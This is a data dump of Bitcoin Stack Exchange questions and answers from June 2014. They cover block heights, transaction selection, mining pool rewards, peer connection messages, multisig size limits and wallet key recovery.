  <row Id="28066" PostTypeId="4" CreationDate="2014-06-21T08:39:11.047" Score="0" Body="Wallet software for macOS and Android" OwnerUserId="15412" LastEditorUserId="42185" LastEditDate="2020-04-29T03:12:27.053" LastActivityDate="2020-04-29T03:12:27.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28067" PostTypeId="1" CreationDate="2014-06-21T11:52:38.290" Score="1" ViewCount="301" Body="&lt;p&gt;As the question I asked before, I wanted to make an altcoin. The block height in main.cpp allows you to choose which block gets different rewards. If it does, do txNew.vout[0].nValue =  depend on the first block or the normal block reward&lt;/p&gt;&#xA;" OwnerUserId="15435" LastActivityDate="2014-06-21T18:17:49.883" Title="Is Block Height 1 is the genesis block?" Tags="|development|altcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28068" PostTypeId="1" CreationDate="2014-06-21T15:20:14.220" Score="1" ViewCount="263" Body="&lt;p&gt;What determines how many transactions end up in a given block? Blocks can have various numbers of transactions, so what decides how many are in a certain block? &lt;/p&gt;&#xA;" OwnerUserId="18220" LastActivityDate="2014-06-21T18:26:44.120" Title="What determines how many transactions end up in a given block?" Tags="|transactions|blockchain|block|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28069" PostTypeId="2" ParentId="28067" CreationDate="2014-06-21T18:17:49.883" Score="2" Body="&lt;p&gt;The genesis block has height 0 (at least in the Bitcoin reference client source code).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-06-21T18:17:49.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28070" PostTypeId="2" ParentId="28068" CreationDate="2014-06-21T18:26:44.120" Score="5" Body="&lt;p&gt;Miners (that is, the full node building the miner's blocks - which may be a pool) decide what they put in blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reasons &lt;strong&gt;for&lt;/strong&gt; including more transactions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Earn the fees of transactions included.&lt;/li&gt;&#xA;&lt;li&gt;Make the Bitcoin on-chain ecosystem more useful.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Reasons &lt;strong&gt;against&lt;/strong&gt; including more transactions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Larger blocks propagate more slowly through the network, giving them a slightly larger chance for being reorganized (as a competing simultaneous block may win).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-06-21T18:26:44.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28071" PostTypeId="1" AcceptedAnswerId="28211" CreationDate="2014-06-21T18:41:50.840" Score="0" ViewCount="877" Body="&lt;p&gt;Currently I'm looking for the disk usage size of the NXT and Bitcoin blockchain size as of June 2014 and the current rate of of increase every day/week/year?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="3029" LastEditDate="2014-06-23T18:11:09.710" LastActivityDate="2014-06-29T22:28:36.360" Title="How big is the NXT blockchain in disk usage compared to the Bitcoin Blockchain as of June 2014? And rate of increase?" Tags="|blockchain|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28076" PostTypeId="2" ParentId="21558" CreationDate="2014-06-22T07:11:14.507" Score="2" Body="&lt;p&gt;There have been numerous reports of exactly this happening on bitcointalk.  This thread lists several people talking about this problem: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=255174.0;topicseen&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=255174.0;topicseen&lt;/a&gt;.  Another person also asked why this happens so regularly right here on stackexchange and received what sounds like a pretty good answer: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1949/why-so-many-bitcoin-exchanges-have-their-bank-accounts-closed-and-have-problems?rq=1&quot;&gt;Why so many bitcoin exchanges have their bank accounts closed and have problems establishing bank accounts?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not live in the UK, so I cannot speak with personal experience about UK banks' opinions about Bitcoin.  But if you are interested in buying bitcoins and concerned about having your bank account closed, I would encourage you to open an account with the Internet Credit Union: &lt;a href=&quot;https://internetcreditunion.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://internetcreditunion.org/&lt;/a&gt;  They went on record at last year's Bitcoin Conference saying that they will support Bitcoin with their Credit Union, see their presentation for more details: &lt;a href=&quot;https://www.youtube.com/watch?v=RD6fVNGEnlI&amp;amp;list=PLUOP0P68GJ3BGjfqoLLnzAefk3ZzXQtJ7&amp;amp;index=5&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=RD6fVNGEnlI&amp;amp;list=PLUOP0P68GJ3BGjfqoLLnzAefk3ZzXQtJ7&amp;amp;index=5&lt;/a&gt;  Unfortunately, I don't remember where in the 34 minutes it was that they said that, but it's in there somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their bank is based in the United States, but their signup page (&lt;a href=&quot;https://internetcreditunion.org/form-membership-application/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://internetcreditunion.org/form-membership-application/&lt;/a&gt;) says you can use a foreign passport and United States tax ID number to get an account.  So if you're willing to get a tax ID number, you can get an account with them.  That would be my recommendation if you're interested in buying bitcoins without having to worry about having your bank account closed.&lt;/p&gt;&#xA;" OwnerUserId="3847" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-06-22T07:11:14.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28077" PostTypeId="2" ParentId="26954" CreationDate="2014-06-22T07:23:03.007" Score="0" Body="&lt;p&gt;There is indeed a US Broker for Bitcoins.  Unfortunately, for now, they're still in private beta.  The company is called Buttercoin: &lt;a href=&quot;https://www.buttercoin.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.buttercoin.com/&lt;/a&gt;  You can sign up for their private beta, but there's a pretty long waiting list right now.&lt;/p&gt;&#xA;" OwnerUserId="3847" LastActivityDate="2014-06-22T07:23:03.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28078" PostTypeId="2" ParentId="20821" CreationDate="2014-06-22T07:46:05.087" Score="1" Body="&lt;p&gt;There were a few more suggestions on an answer to this related question: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/20558/howto-scale-thousands-of-bitcoin-accounts-properly-with-bitcoind-deamon?rq=1&quot;&gt;Howto scale thousands of bitcoin accounts properly with bitcoind deamon?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone has already created a wrapper for the bitcoin daemon in Java: &lt;a href=&quot;https://github.com/btc4j/btc4j-daemon&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/btc4j/btc4j-daemon&lt;/a&gt; - it might be easier to use that instead of the dameon directly and use a database to do what would be inefficient on the blockchain, like handling user accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, it all depends on what you're trying to accomplish.  It sounds pretty clear from what you've already read and what I've read that the standard bitcoin daemon doesn't scale.  Thus, your best bet would be to use this or another bitcoin daemon wrapper to create your wallet project.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to interface directly with the bitcoin daemon (or as close to directly as possible with a wrapper), try using the Java wrapper and use a database for the tasks that the daemon doesn't handle efficiently.  However, if you are wanting to design your online wallet service with security in mind, I would encourage you to use the Armory daemon: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=92496.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=92496.0&lt;/a&gt;.  From what I've read, it sounds like this daemon is not quite as full featured as the regular bitcoin daemon, but I haven't tried it out myself, so it's quite possible that it is sufficient to your needs.  Still, it has a pretty big advantage in the realm of security that you can create a watching-only wallet on your web server for the customers' wallet.  &lt;/p&gt;&#xA;" OwnerUserId="3847" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2014-06-22T07:46:05.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28079" PostTypeId="1" AcceptedAnswerId="28084" CreationDate="2014-06-22T08:46:58.770" Score="0" ViewCount="338" Body="&lt;p&gt;I'm comparing gash.io with slush scheme. Say I mine 24x7 without pool hopping at 5GH/s. Will the BTC amount be the same if I mine at slush or gash.io. And what if I get disconnected from either of pools for say random one half hour duration or more a day, how would the reward be?&lt;/p&gt;&#xA;" OwnerUserId="3952" LastActivityDate="2014-06-23T08:50:12.133" Title="Which pooled mining scheme is better in terms of constant mining?" Tags="|mining-reward|mining-pools|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28081" PostTypeId="1" AcceptedAnswerId="28082" CreationDate="2014-06-22T09:06:13.793" Score="2" ViewCount="178" Body="&lt;p&gt;If this is the first connection of a new client to the network, I would like to know after the exchange of version &amp;amp; verack messages from both peers, which message is exchanged. I guess every time a getblocks message is needed because our client needs to check if the blockchain we have is the latest. So the getaddr messages follow the getblocks message? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if the client had connected in the past will he need any getaddr messages or his database of peers would be enough?&lt;/p&gt;&#xA;" OwnerUserId="10246" LastActivityDate="2014-06-22T09:40:04.513" Title="Initial Connection to Bitcoin" Tags="|message|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28082" PostTypeId="2" ParentId="28081" CreationDate="2014-06-22T09:34:51.607" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I guess every time a getblocks message is needed because our client&#xA;  needs to check if the blockchain we have is the latest.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thats right. You can also compare the blockheight from the version message, but you will still need to check if you are not on a fork. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So the getaddr messages follow the getblocks message&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would say that up to you. If you connect to a new peer, and the chains are different, you dont know directly if he is on the wrong chain or you are. So it would be good to know some other peers to ask as well.&lt;br&gt;&#xA;I think its better when you first call the getaddr message, because thats a one time command you run. If you ask for blocks, seeing you dont got all, you will start calling the getdata message and so on. Than your getaddr message would continuous be delayed.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And if the client had connected in the past will he need any getaddr&#xA;  messages or his database of peers would be enough?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The stored peers should be enough. Remember, once a node is connected to a peer node, they share new peers by exchanging addr messages whenever a new peer is discovered. So you also get new peers without asking for them.&lt;br&gt;&#xA;You will just have one problem, those peers which have disconnected. So its always a good idea to ask again for peers, just to be up to date.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastEditorUserId="17113" LastEditDate="2014-06-22T09:40:04.513" LastActivityDate="2014-06-22T09:40:04.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28083" PostTypeId="2" ParentId="27013" CreationDate="2014-06-22T09:50:20.217" Score="3" Body="&lt;p&gt;As you can see in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot; rel=&quot;nofollow noreferrer&quot;&gt;protocol documentation&lt;/a&gt; the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#inv&quot; rel=&quot;nofollow noreferrer&quot;&gt;inv&lt;/a&gt;-object contains a field inventory (&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Inventory_Vectors&quot; rel=&quot;nofollow noreferrer&quot;&gt;Inventory Vector&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inv-Object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r1JGo.png&quot; alt=&quot;Inv-Object field table&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inventory Vector:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ohsNt.jpg&quot; alt=&quot;Inventory Vector field table&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to check the type field to know what the other node is sending. You will always receive a hash value, which is the identifier of a block or transaction.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastEditorUserId="25088" LastEditDate="2015-06-10T11:50:04.343" LastActivityDate="2015-06-10T11:50:04.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28084" PostTypeId="2" ParentId="28079" CreationDate="2014-06-22T11:56:30.863" Score="1" Body="&lt;p&gt;I think it will roughly (~1%) be the same, otherwise no-one would stay at Slush or GHash.IO, if one of them has obvious lower rewards. In your previous &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/27056/is-there-any-difference-in-pool-mining-with-gash-io-over-slush&quot;&gt;question&lt;/a&gt; I answered that there are differences in the way your share is calculated, and thus the reward changes. But because you don't want to hop pools, &lt;code&gt;score&lt;/code&gt; will be the same as &lt;code&gt;PPLNS&lt;/code&gt;. Otherwise you can try to mine a week in both pools, and see the reward you get in both pools. I think it is best to try it yourself. You get bitcoin in return, so it is not for nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how the disconnection works with the &lt;code&gt;score&lt;/code&gt;-system, but I think &lt;code&gt;PPLNS&lt;/code&gt; wins on that area, because you won't get penalised. IN &lt;code&gt;PPLNS&lt;/code&gt; you'll just get paid for each share you contribute. So if you mine 100 shares/hour, and you are offline 6 hours, you'll miss 600 shares. Depending on the btc/share, that exact amount of btc is what you miss during your offline time.&lt;/p&gt;&#xA;" OwnerUserId="15412" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-06-22T11:56:30.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28085" PostTypeId="2" ParentId="24717" CreationDate="2014-06-22T12:07:41.800" Score="1" Body="&lt;p&gt;Check your internet connection, make sure your mining device connected right, restart your devices.&lt;/p&gt;&#xA;" OwnerUserId="18330" LastActivityDate="2014-06-22T12:07:41.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28086" PostTypeId="1" CreationDate="2014-06-22T13:40:28.340" Score="5" ViewCount="271" Body="&lt;p&gt;As I understand, &lt;code&gt;P2Pool&lt;/code&gt; has some problems, since it's just a separate blockchain with a shorter time between blocks, small miners still have more variance, and, hypothetically, if the time between blocks were 10 seconds and each new block took 0.5 seconds to be received by a miner, then the miner would be wasting 0.5/10 seconds working on an old block. So, basically, if the time between blocks is reduced to lower variance, the miners will waste a larger percentage of time and lose money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why don't pools just use the BitPenny approach of having the mining client verify that the pool owner isn't trying to mine double spends?&lt;/p&gt;&#xA;" OwnerUserId="18332" LastEditorUserId="5406" LastEditDate="2016-03-05T15:03:58.063" LastActivityDate="2016-03-05T15:03:58.063" Title="Why is everyone encouraging the use of P2Pool as the answer to the 51% problem?" Tags="|mining-pools|p2pool|trust|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28087" PostTypeId="2" ParentId="27061" CreationDate="2014-06-22T13:42:58.953" Score="0" Body="&lt;p&gt;i don't know it helps you or not but there is a very good instructions for developing your coin on windows here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=225690.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=225690.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18190" LastActivityDate="2014-06-22T13:42:58.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28088" PostTypeId="2" ParentId="28063" CreationDate="2014-06-22T17:14:04.127" Score="1" Body="&lt;p&gt;Check if your &lt;code&gt;libleveldb.a&lt;/code&gt; compiled all necessary files correctly. Could you run the following commands please and post the output back?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ar tv libmemenv.a&lt;/code&gt; and &lt;code&gt;ar tv libleveldb.a&lt;/code&gt;. If the output is something similar to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rw-rw-rw- 0/0 432255 Apr 15 16:56 2014 memenv.o&#xA;rw-rw-rw- 0/0  21322 Apr 15 16:56 2014 port_win.o&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then the problem could be that your Windows &lt;code&gt;find.exe&lt;/code&gt; is overruling your MSYS &lt;code&gt;file.exe&lt;/code&gt;. They both work very differently and are not interchangeable. The makefile of LevelDB uses the Unix style &lt;code&gt;find.exe&lt;/code&gt;. You can fix this by explicitly putting your MSYS &lt;code&gt;find.exe&lt;/code&gt; directory before the Windows &lt;code&gt;find.exe&lt;/code&gt; directory (which should be something like &lt;code&gt;C:\Window\System32\find.exe&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was a very hard problem to track down and you can see my progress (and that of Ron, who kindly helped me a lot, thanks Ron!) on &lt;a href=&quot;https://bitcointalk.org/index.php?topic=149479.540&quot; rel=&quot;nofollow&quot;&gt;the 'official' building Bitcoin thread on bitcointalk.org&lt;/a&gt;. Starting at page 28 and continuing down until you don't see my name anymore (I'm called Jori there too, it's my real name).&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-06-22T17:14:04.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28089" PostTypeId="1" CreationDate="2014-06-22T17:28:28.580" Score="3" ViewCount="509" Body="&lt;p&gt;In multisig 2-3 escrow, what is best approach from below ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- Say I want to sign a rawtransaction from a customer and send it to escrow to sign so that 2 of 3 sigs are there to release fund.&#xA;But how do I ensure that rawtransaction is the same one that I created and not modified or created from customer ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;createrawtransaction '[{&quot;txid&quot;:&quot;564876&quot;,&#xA;&quot;vout&quot;:0,&quot;scriptPubKey&quot;:&quot;8645231554&quot;,&#xA;&quot;redeemScript&quot;:&quot;2315454&quot;}]' &#xA;'{&quot;d5adf5sdf5s45&quot;:0.00015000}'&#xA;&#xA;0df0sd0fsdfsdfs11dfs&#xA;&#xA;signrawtransaction &#xA;'0df0sd0fsdfsdfs11dfs'&#xA;'[{&quot;txid&quot;:&quot;txid&quot;:&quot;564876&quot;,&#xA;&quot;vout&quot;:0,&quot;scriptPubKey&quot;:&quot;8645231554&quot;,&#xA;&quot;redeemScript&quot;:&quot;2315454&quot;}]' &#xA;'[&quot;erwerw8e888&quot;]'&#xA;&#xA;{&#xA;&quot;hex&quot; : &quot;0e0rw1e1rw1er1we1rw&quot;,&#xA;&quot;complete&quot; : false&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's possible the customer created his own rawtransaction and signed it and sent it to me, how do I ensure it is the same raw transaction that I created ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2-Send sign rawtransaction to customer to sign 2-3 to release fund?&#xA;But how can I know if a customer made his own sendrawtransaction? Does there exist any bitcoin api rpc to test if customer already released funds?&lt;/p&gt;&#xA;" OwnerUserId="13349" LastEditorUserId="23123" LastEditDate="2015-02-05T07:04:52.397" LastActivityDate="2015-02-05T07:04:52.397" Title="How do I ensure that the multisig transaction that's signed by multiple parties is the same?" Tags="|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28090" PostTypeId="2" ParentId="20821" CreationDate="2014-06-22T19:00:51.073" Score="2" Body="&lt;p&gt;I hate to be this guy but if you're struggling with this chances are that you'll struggle to secure the private keys. Those private keys are the keys to your empire in a way you don't even want to think about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think very seriously about outsourcing this to a company with insurance for it. Or get insurance yourself. The outsourcing also takes the performance hassle away from you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't, please don't forget to make (really) cold wallets. Just place that cash elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps more directly, there's several bitcoin daemons out there. You could make your own, too, with something like bitcoinJ. I met the guys behind btcd (&quot;BitcoinD in Go&quot;) &lt;a href=&quot;https://github.com/conformal/btcd&quot; rel=&quot;nofollow&quot;&gt;https://github.com/conformal/btcd&lt;/a&gt; at Bitcoin2014, their lead coder made a good impression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm afraid there's no shelved answer for this question yet. Perhaps the best advice is &quot;Do it, once you run into trouble you're successful already. Time enough to solve it later.&quot;.&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2014-06-22T19:00:51.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28091" PostTypeId="2" ParentId="25355" CreationDate="2014-06-22T19:30:44.240" Score="1" Body="&lt;p&gt;Having never tried this myself, I can't answer it with my own personal experience.  But there is a thread with input from several people on a question pretty similar to this in Bitcointalk: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=155717.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=155717.0&lt;/a&gt;  That thread may answer your question, and if not, feel free to ask followup questions there.  (There used to be a requirement to be in the newbie forum for a while, but this requirement has since been removed, so all you need to do is create an account on bitcointalk to post questions.)&lt;/p&gt;&#xA;" OwnerUserId="3847" LastActivityDate="2014-06-22T19:30:44.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28092" PostTypeId="2" ParentId="23893" CreationDate="2014-06-22T23:43:44.993" Score="34" Body="&lt;p&gt;We need to distinguish the limitations for &lt;strong&gt;validity&lt;/strong&gt; and &lt;strong&gt;standardness&lt;/strong&gt;. The first is determined by the consensus rules (which cannot change without a hard fork). The second ones are determined by local relay and mining policies implemented in the reference client, and can change from version to version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, we need to distinguish &lt;strong&gt;raw&lt;/strong&gt; multisig (a simple OP_CHECKMULTISIG based script), and &lt;strong&gt;P2SH&lt;/strong&gt; multisig (where the OP_CHECKMULTISIG script is only revealed upon spending).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, because scripts include public keys, their sizes depend on their lengths. Both compressed (33 bytes) and uncompressed (65 bytes) keys exist, depending on which version of a wallet was used to generate them.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Raw multisig&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Every m-of-n combination is &lt;strong&gt;valid&lt;/strong&gt; (up to n=20), but &lt;strong&gt;standardness&lt;/strong&gt; rules only allow up to n=3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This limitation is enforced when sending (i.e., sending to a 2-of-4 multisig will not be considered standard).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;P2SH multisig&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;validity&lt;/strong&gt; rules require that the P2SH redeem script is at most 520 bytes. As the redeem script is [m pubkey1 pubkey2 ... n OP_CHECKMULTISIG], it follows that the length of all public keys together plus the number of public keys must not be over 517.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For compressed public keys, this means up to n=15&lt;/li&gt;&#xA;&lt;li&gt;For uncompressed ones, up to n=7.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For &lt;strong&gt;standardness&lt;/strong&gt;, it depends on the version. Up to v0.9.*, the reference client required the total spending script to be at most 500 bytes.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For compressed keys, this means m*73 + n*34 &amp;lt;= 496 (up to 1-of-12, 2-of-10, 3-of-8 or 4-of-6).&lt;/li&gt;&#xA;&lt;li&gt;For uncompressed keys, this means m*73 + n*66 &amp;lt;= 496 (up to 1-of-6, 2-of-5, 3-of-4).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In 0.10, these standardness rules will likely be relaxed, allowing to go up to the validity limits (15-of-15 for compressed keys, 7-of-7 for uncompressed keys).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, for P2SH, standardness and validity restrictions are only applied when spending (as the spending script is only revealed at that time). This may mean that sending your coins to a P2SH script may make them irrecoverably lost (especially when violating a validity rule).&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="18713" LastEditDate="2014-12-08T14:43:53.157" LastActivityDate="2014-12-08T14:43:53.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28093" PostTypeId="2" ParentId="26917" CreationDate="2014-06-23T02:45:46.397" Score="3" Body="&lt;p&gt;You actually don't use the addresses, but the RPC info for the daemons. For example you'd start the pool with the following switches:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python run_p2pool.py --net vertcoin3 --merged http://*RPCuser1*:*LongRPCpass1*@127.0.0.1:6888 --merged http://*RPCuser2*:*LongRPCpass*2@127.0.0.1:7817&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will see &quot;Got new merged mining work!&quot; in console as confirmation.&lt;/p&gt;&#xA;" OwnerUserId="18336" LastActivityDate="2014-06-23T02:45:46.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28094" PostTypeId="1" CreationDate="2014-06-23T04:05:17.827" Score="2" ViewCount="168" Body="&lt;p&gt;My computer just got formatted, and so did my wallet. I had imported the private keys from my wallet a week back. Can I just load that again into multibit, and get my bitcoins back?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also had several transactions after I imported it&lt;/p&gt;&#xA;" OwnerUserId="18337" LastEditorUserId="15412" LastEditDate="2014-06-25T08:45:06.920" LastActivityDate="2014-06-25T08:45:06.920" Title="Exporting Private Keys for wallet in Multibit" Tags="|private-key|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28096" PostTypeId="2" ParentId="23893" CreationDate="2014-06-23T04:25:00.440" Score="7" Body="&lt;p&gt;from 0-of-0 upto 20-of-20&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/970b435253b69cde8207b3245d7723bb24861fd7ab3cfe361f45ae8de085ac52&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/tx/970b435253b69cde8207b3245d7723bb24861fd7ab3cfe361f45ae8de085ac52&lt;/a&gt;&#xA;is 0-of-0 p2sh redeemption&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/da738e29f64e90ae46dcc3e6b4154041d6324abbe7919e722d486a4a3148b7dc&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/tx/da738e29f64e90ae46dcc3e6b4154041d6324abbe7919e722d486a4a3148b7dc&lt;/a&gt;&#xA;if 20-of-20 bare multisig redeemption&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/552026dade1c9385e4693a4e82f07080d8d1950fc822346f95a0dc1e0a833465&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/tx/552026dade1c9385e4693a4e82f07080d8d1950fc822346f95a0dc1e0a833465&lt;/a&gt;&#xA;is 15-of-15 p2sh redeemption&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="12983" LastEditDate="2014-06-23T04:30:26.530" LastActivityDate="2014-06-23T04:30:26.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28097" PostTypeId="2" ParentId="28094" CreationDate="2014-06-23T06:18:13.717" Score="1" Body="&lt;p&gt;Yes, you can. The private keys unlock your wallet, which will be synchronised to the network. You then have access to the wallet, &lt;strong&gt;with&lt;/strong&gt; the bitcoins before and after the back-up of the private keys, just the balance &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; says you have. So no need to have an recent back-up of those keys.&lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-06-23T06:18:13.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28098" PostTypeId="1" AcceptedAnswerId="28120" CreationDate="2014-06-23T06:21:13.623" Score="3" ViewCount="310" Body="&lt;p&gt;I'm new on the BTC project, so please spare me if I asked something newbies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded the latest 0.92 BTC source code and trying to make a customize to the walletnotify function for myself while running the bitcoind. But when I search into the code, that triggered runCommand() at util.cpp and pew &quot;End of the road&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I googled about this walletnotify function, but all I seemed are only the usage infos. So I think it's time to ask the question here but thinking the dead-end by myself.&lt;/p&gt;&#xA;" OwnerUserId="18338" LastActivityDate="2014-06-24T10:35:26.790" Title="Where is the exact code part of the walletnotify function?" Tags="|bitcoind|api|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
